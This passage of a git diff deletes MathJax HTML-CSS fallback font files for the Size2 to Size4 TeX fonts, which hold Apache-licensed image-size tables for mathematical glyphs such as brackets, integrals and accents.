6,36,13],[8,43,16],[9,50,18],[10,60,22],[12,72,26],[15,85,31],[17,100,36],[20,119,43]],10216:[[4,13,5],[5,16,6],[6,19,7],[7,22,8],[8,25,9],[9,31,11],[11,36,13],[13,43,16],[15,50,18],[18,60,22],[21,71,26],[25,85,31],[29,100,36],[35,119,43]],10217:[[4,13,5],[4,16,6],[5,19,7],[6,22,8],[7,25,9],[9,31,11],[10,36,13],[12,43,16],[14,50,18],[17,60,22],[20,71,26],[24,85,31],[28,100,36],[33,119,43]],10752:[[10,10,3],[13,12,4],[15,15,5],[18,18,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],[41,40,13],[48,47,1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-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size2/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size2/Regular/unpacked/Main.js
deleted file mode 100644
index a6a0e1b6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size2/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,181 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Size2/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Size2": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[14,42,15],
-      [16,50,18],[19,60,21],[22,71,25],[27,84,30],[32,100,36],[37,119,43]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,13,4],[4,15,5],[5,18,6],[5,22,8],[6,25,9],[7,30,11],[9,36,13],[10,42,15],
-      [12,50,18],[14,60,21],[17,71,25],[20,84,30],[23,100,36],[28,119,43]
-    ],
-    0x2F: [  // SOLIDUS
-      [6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],
-      [21,50,18],[25,59,21],[30,71,25],[36,84,30],[42,100,36],[50,119,43]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [4,13,5],[4,16,6],[5,18,7],[6,22,8],[7,25,9],[8,30,11],[9,35,13],[11,43,16],
-      [13,51,19],[15,59,21],[18,70,25],[22,84,30],[26,100,36],[30,119,43]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [6,13,4],[7,15,5],[8,18,6],[9,21,8],[11,25,9],[13,30,11],[15,35,13],[18,42,15],
-      [21,50,18],[25,59,21],[30,71,25],[35,84,30],[42,100,36],[50,119,43]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,13,5],[3,16,6],[3,18,7],[3,22,8],[4,25,9],[5,30,11],[5,35,13],[6,43,16],
-      [7,51,19],[9,59,21],[10,70,25],[12,84,30],[14,100,36],[17,119,43]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],
-      [16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [4,13,4],[5,15,5],[6,18,6],[7,22,8],[8,25,9],[10,30,11],[11,36,13],[13,42,15],
-      [16,50,18],[18,60,21],[22,71,25],[26,84,30],[31,100,36],[36,119,43]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],
-      [29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],
-      [28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [8,2,-4],[10,2,-5],[11,3,-6],[13,3,-7],[15,3,-8],[18,4,-9],[21,4,-11],[25,5,-13],
-      [29,6,-16],[35,8,-19],[41,9,-22],[48,10,-26],[57,12,-31],[68,14,-37]
-    ],
-    0x303: [  // COMBINING TILDE
-      [7,2,-4],[9,2,-5],[10,2,-6],[12,2,-7],[14,2,-8],[17,2,-10],[20,4,-11],[24,5,-13],
-      [28,4,-17],[33,5,-20],[40,6,-24],[47,7,-28],[56,8,-34],[66,9,-40]
-    ],
-    0x220F: [  // N-ARY PRODUCT
-      [9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],
-      [34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]
-    ],
-    0x2210: [  // N-ARY COPRODUCT
-      [9,10,3],[11,12,4],[12,15,5],[15,17,6],[17,19,6],[21,24,8],[24,28,9],[29,34,11],
-      [34,40,13],[41,47,15],[48,56,18],[57,66,21],[68,78,25],[81,93,30]
-    ],
-    0x2211: [  // N-ARY SUMMATION
-      [10,10,3],[12,12,4],[14,15,5],[17,17,6],[20,20,7],[24,24,8],[28,28,9],[33,34,11],
-      [39,40,13],[46,47,15],[55,56,18],[65,66,21],[77,78,25],[92,93,30]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [8,13,5],[9,16,6],[11,19,7],[12,22,8],[15,25,9],[17,31,11],[20,36,13],[24,43,16],
-      [29,50,18],[34,60,22],[40,71,26],[48,85,31],[57,100,36],[68,119,43]
-    ],
-    0x222B: [  // INTEGRAL
-      [7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],
-      [27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]
-    ],
-    0x222C: [  // DOUBLE INTEGRAL
-      [10,16,6],[13,19,7],[15,23,9],[18,26,10],[21,31,12],[25,38,15],[29,44,17],[35,53,21],
-      [41,62,24],[49,74,29],[58,88,34],[69,105,41],[82,124,48],[98,147,57]
-    ],
-    0x222D: [  // TRIPLE INTEGRAL
-      [14,16,6],[17,19,7],[20,23,9],[24,26,10],[28,31,12],[33,38,15],[39,44,17],[47,53,21],
-      [56,62,24],[66,74,29],[78,88,34],[93,105,41],[110,124,48],[131,147,57]
-    ],
-    0x222E: [  // CONTOUR INTEGRAL
-      [7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],
-      [27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]
-    ],
-    0x22C0: [  // N-ARY LOGICAL AND
-      [8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-    ],
-    0x22C1: [  // N-ARY LOGICAL OR
-      [8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-    ],
-    0x22C2: [  // N-ARY INTERSECTION
-      [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-    ],
-    0x22C3: [  // N-ARY UNION
-      [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-    ],
-    0x2308: [  // LEFT CEILING
-      [4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,42,15],
-      [15,50,18],[17,60,22],[21,71,26],[24,85,31],[29,100,36],[34,119,43]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[6,36,13],[8,42,15],
-      [9,50,18],[10,60,22],[12,71,26],[15,85,31],[17,100,36],[20,119,43]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,43,16],
-      [15,50,18],[17,60,22],[21,72,26],[24,85,31],[29,100,36],[34,119,43]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[6,36,13],[8,43,16],
-      [9,50,18],[10,60,22],[12,72,26],[15,85,31],[17,100,36],[20,119,43]
-    ],
-    0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-      [4,13,5],[5,16,6],[6,19,7],[7,22,8],[8,25,9],[9,31,11],[11,36,13],[13,43,16],
-      [15,50,18],[18,60,22],[21,71,26],[25,85,31],[29,100,36],[35,119,43]
-    ],
-    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-      [4,13,5],[4,16,6],[5,19,7],[6,22,8],[7,25,9],[9,31,11],[10,36,13],[12,43,16],
-      [14,50,18],[17,60,22],[20,71,26],[24,85,31],[28,100,36],[33,119,43]
-    ],
-    0x2A00: [  // N-ARY CIRCLED DOT OPERATOR
-      [10,10,3],[13,12,4],[15,15,5],[18,18,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-      [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-    ],
-    0x2A01: [  // N-ARY CIRCLED PLUS OPERATOR
-      [10,10,3],[12,13,4],[15,15,5],[18,17,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-      [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-    ],
-    0x2A02: [  // N-ARY CIRCLED TIMES OPERATOR
-      [10,10,3],[13,12,4],[15,15,5],[18,18,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-      [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-    ],
-    0x2A04: [  // N-ARY UNION OPERATOR WITH PLUS
-      [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [30,40,13],[35,47,15],[42,56,18],[50,65,21],[59,78,25],[70,93,30]
-    ],
-    0x2A06: [  // N-ARY SQUARE UNION OPERATOR
-      [7,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-      [29,40,13],[35,47,15],[42,55,18],[49,66,21],[59,78,25],[70,93,30]
-    ]
-  }
-});
-
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/Main.js
deleted file mode 100644
index ddb90448..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Size3:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],40:[[5,17,7],[6,20,8],[7,24,9],[9,29,11],[10,34,13],[12,40,16],[14,47,18],[17,56,22],[20,67,26],[24,79,31],[28,94,37],[33,112,44],[39,133,52],[47,158,62]],41:[[4,17,7],[5,20,8],[6,24,9],[7,29,11],[8,34,13],[9,40,16],[11,47,18],[13,56,22],[15,67,26],[18,79,31],[21,94,37],[25,112,44],[30,133,52],[35,158,62]],47:[[7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],[28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[66,158,62]],91:[[4,17,7],[5,20,8],[6,24,10],[7,28,11],[8,33,13],[9,41,17],[11,48,19],[12,57,23],[15,66,26],[17,79,31],[21,94,37],[24,111,44],[29,133,52],[34,158,62]],92:[[7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],[28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[65,158,62]],93:[[2,17,7],[3,20,8],[3,24,10],[4,28,11],[4,33,13],[5,41,17],[6,48,19],[7,57,23],[8,66,26],[10,79,31],[11,94,37],[13,111,44],[16,133,52],[19,158,62]],123:[[5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],[18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]],125:[[5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],[18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],710:[[11,2,-4],[13,2,-5],[16,2,-6],[18,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],[41,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]],732:[[10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],[40,5,-16],[48,5,-20],[57,6,-24],[67,7,-28],[80,8,-34],[95,9,-40]],770:[[11,2,-4],[14,2,-5],[16,2,-6],[19,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],[42,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]],771:[[10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],[40,5,-16],[48,5,-20],[57,6,-24],[68,7,-28],[80,8,-34],[95,9,-40]],8730:[[8,17,7],[9,21,8],[10,25,10],[12,30,12],[15,35,14],[17,41,16],[20,48,19],[24,57,23],[29,68,27],[34,80,32],[40,95,38],[48,113,45],[57,134,53],[67,159,63]],8968:[[4,17,7],[5,20,8],[6,25,10],[7,29,12],[8,34,14],[10,41,16],[12,48,19],[14,57,23],[16,68,27],[19,80,32],[23,94,37],[27,113,45],[32,134,53],[38,159,63]],8969:[[3,17,7],[3,20,8],[5,25,10],[4,29,12],[5,34,14],[6,41,16],[7,48,19],[8,57,23],[10,68,27],[12,80,32],[14,94,37],[16,113,45],[19,134,53],[23,159,63]],8970:[[4,18,7],[5,21,8],[6,25,10],[7,29,11],[8,34,13],[10,40,16],[12,48,19],[14,57,23],[16,68,27],[19,80,32],[23,95,38],[27,113,45],[32,134,53],[38,159,63]],8971:[[3,18,7],[3,21,8],[5,25,10],[4,29,11],[5,34,13],[6,40,16],[7,48,19],[8,57,23],[10,68,27],[12,80,32],[14,95,38],[16,113,45],[19,134,53],[23,159,63]],10216:[[5,18,7],[6,21,8],[7,25,10],[8,30,12],[10,35,14],[11,41,16],[13,48,19],[16,57,23],[19,68,27],[22,80,32],[26,95,38],[31,113,45],[37,134,53],[44,159,63]],10217:[[5,17,7],[6,21,8],[7,25,10],[8,30,12],[9,35,14],[11,41,16],[13,48,19],[15,57,23],[18,68,27],[21,80,32],[25,95,38],[29,113,45],[35,134,53],[41,159,63]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Size3/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/unpacked/Main.js
deleted file mode 100644
index 4314fbb9..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,117 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Size3/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Size3": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [5,17,7],[6,20,8],[7,24,9],[9,29,11],[10,34,13],[12,40,16],[14,47,18],[17,56,22],
-      [20,67,26],[24,79,31],[28,94,37],[33,112,44],[39,133,52],[47,158,62]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [4,17,7],[5,20,8],[6,24,9],[7,29,11],[8,34,13],[9,40,16],[11,47,18],[13,56,22],
-      [15,67,26],[18,79,31],[21,94,37],[25,112,44],[30,133,52],[35,158,62]
-    ],
-    0x2F: [  // SOLIDUS
-      [7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],
-      [28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[66,158,62]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [4,17,7],[5,20,8],[6,24,10],[7,28,11],[8,33,13],[9,41,17],[11,48,19],[12,57,23],
-      [15,66,26],[17,79,31],[21,94,37],[24,111,44],[29,133,52],[34,158,62]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],
-      [28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[65,158,62]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,17,7],[3,20,8],[3,24,10],[4,28,11],[4,33,13],[5,41,17],[6,48,19],[7,57,23],
-      [8,66,26],[10,79,31],[11,94,37],[13,111,44],[16,133,52],[19,158,62]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],
-      [18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],
-      [18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-      [11,2,-4],[13,2,-5],[16,2,-6],[18,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],
-      [41,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]
-    ],
-    0x2DC: [  // SMALL TILDE
-      [10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],
-      [40,5,-16],[48,5,-20],[57,6,-24],[67,7,-28],[80,8,-34],[95,9,-40]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [11,2,-4],[14,2,-5],[16,2,-6],[19,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],
-      [42,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]
-    ],
-    0x303: [  // COMBINING TILDE
-      [10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],
-      [40,5,-16],[48,5,-20],[57,6,-24],[68,7,-28],[80,8,-34],[95,9,-40]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [8,17,7],[9,21,8],[10,25,10],[12,30,12],[15,35,14],[17,41,16],[20,48,19],[24,57,23],
-      [29,68,27],[34,80,32],[40,95,38],[48,113,45],[57,134,53],[67,159,63]
-    ],
-    0x2308: [  // LEFT CEILING
-      [4,17,7],[5,20,8],[6,25,10],[7,29,12],[8,34,14],[10,41,16],[12,48,19],[14,57,23],
-      [16,68,27],[19,80,32],[23,94,37],[27,113,45],[32,134,53],[38,159,63]
-    ],
-    0x2309: [  // RIGHT CEILING
-      [3,17,7],[3,20,8],[5,25,10],[4,29,12],[5,34,14],[6,41,16],[7,48,19],[8,57,23],
-      [10,68,27],[12,80,32],[14,94,37],[16,113,45],[19,134,53],[23,159,63]
-    ],
-    0x230A: [  // LEFT FLOOR
-      [4,18,7],[5,21,8],[6,25,10],[7,29,11],[8,34,13],[10,40,16],[12,48,19],[14,57,23],
-      [16,68,27],[19,80,32],[23,95,38],[27,113,45],[32,134,53],[38,159,63]
-    ],
-    0x230B: [  // RIGHT FLOOR
-      [3,18,7],[3,21,8],[5,25,10],[4,29,11],[5,34,13],[6,40,16],[7,48,19],[8,57,23],
-      [10,68,27],[12,80,32],[14,95,38],[16,113,45],[19,134,53],[23,159,63]
-    ],
-    0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-      [5,18,7],[6,21,8],[7,25,10],[8,30,12],[10,35,14],[11,41,16],[13,48,19],[16,57,23],
-      [19,68,27],[22,80,32],[26,95,38],[31,113,45],[37,134,53],[44,159,63]
-    ],
-    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-      [5,17,7],[6,21,8],[7,25,10],[8,30,12],[9,35,14],[11,41,16],[13,48,19],[15,57,23],
-      [18,68,27],[21,80,32],[25,95,38],[29,113,45],[35,134,53],[41,159,63]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Size3/Regular"+
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/476/E154.png b/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/476/E154.png
deleted file mode 100644
index 1bb99028..00000000
Binary files a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/476/E154.png and /dev/null differ
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/Main.js
deleted file mode 100644
index 2c14d8d0..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Size4/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Size4:{32:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],40:[[6,21,9],[7,25,10],[8,30,12],[9,36,15],[11,42,17],[13,50,21],[15,59,24],[18,70,29],[21,83,35],[25,99,41],[30,118,49],[36,140,58],[42,166,69],[50,198,82]],41:[[4,22,9],[5,25,10],[6,30,12],[7,36,15],[8,42,17],[10,50,21],[11,59,24],[13,70,29],[16,84,35],[19,99,41],[22,118,49],[26,140,58],[31,166,69],[37,198,82]],47:[[9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],[34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]],91:[[4,21,9],[5,25,11],[6,30,12],[7,35,15],[8,42,17],[10,51,22],[12,60,25],[14,70,29],[16,83,35],[19,99,41],[23,117,49],[27,140,58],[32,166,69],[38,197,82]],92:[[9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],[34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]],93:[[3,21,9],[3,25,11],[4,30,12],[4,35,15],[5,42,17],[6,51,22],[7,60,25],[8,70,29],[9,83,35],[11,99,41],[13,117,49],[15,140,58],[18,166,69],[21,197,82]],123:[[5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],[19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]],125:[[5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],[19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]],160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],710:[[15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],[54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]],732:[[14,2,-4],[17,2,-5],[20,3,-5],[24,5,-6],[28,4,-8],[33,4,-10],[38,5,-11],[45,6,-14],[54,7,-16],[63,8,-19],[75,10,-23],[89,12,-27],[106,14,-32],[125,16,-38]],770:[[15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],[54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]],771:[[14,2,-4],[16,2,-5],[19,3,-5],[23,5,-6],[27,4,-8],[32,4,-10],[37,5,-11],[44,6,-14],[53,7,-16],[63,8,-19],[74,10,-23],[88,12,-27],[105,14,-32],[125,16,-38]],8730:[[8,22,9],[9,26,11],[10,31,13],[12,36,15],[15,43,18],[17,51,21],[20,60,25],[24,71,30],[29,84,35],[34,100,42],[40,118,49],[48,141,59],[57,167,70],[67,199,83]],8968:[[5,21,9],[6,26,11],[7,30,13],[8,36,15],[9,43,18],[11,51,21],[13,60,25],[15,70,29],[18,84,35],[21,100,42],[25,118,49],[30,141,59],[36,166,69],[42,199,83]],8969:[[3,21,9],[4,26,11],[4,30,13],[6,36,15],[6,43,18],[7,51,21],[8,60,25],[9,70,29],[11,84,35],[13,100,42],[15,118,49],[18,141,59],[21,166,69],[25,199,83]],8970:[[5,22,9],[6,26,11],[7,31,13],[8,36,15],[9,43,18],[11,50,21],[13,60,25],[15,70,29],[18,84,35],[21,100,42],[25,118,49],[30,140,58],[36,167,70],[42,199,83]],8971:[[3,22,9],[4,26,11],[4,31,13],[6,36,15],[6,43,18],[7,50,21],[8,60,25],[9,70,29],[11,84,35],[13,100,42],[15,118,49],[18,140,58],[21,167,70],[25,199,83]],9115:[[6,13,5],[7,16,6],[9,19,7],[10,22,8],[12,26,10],[14,31,11],[17,36,13],[20,43,16],[24,51,19],[28,60,22],[33,72,26],[40,85,31],[47,101,37],[56,120,44]],9116:[[3,6,1],[4,7,1],[5,7,1],[5,9,1],[6,10,1],[7,12,1],[9,13,1],[10,16,1],[12,18,1],[14,22,1],[17,25,1],[20,31,2],[24,36,2],[28,43,2]],9117:[[6,14,5],[7,16,6],[9,19,7],[10,22,8],[12,26,9],[14,31,11],[17,3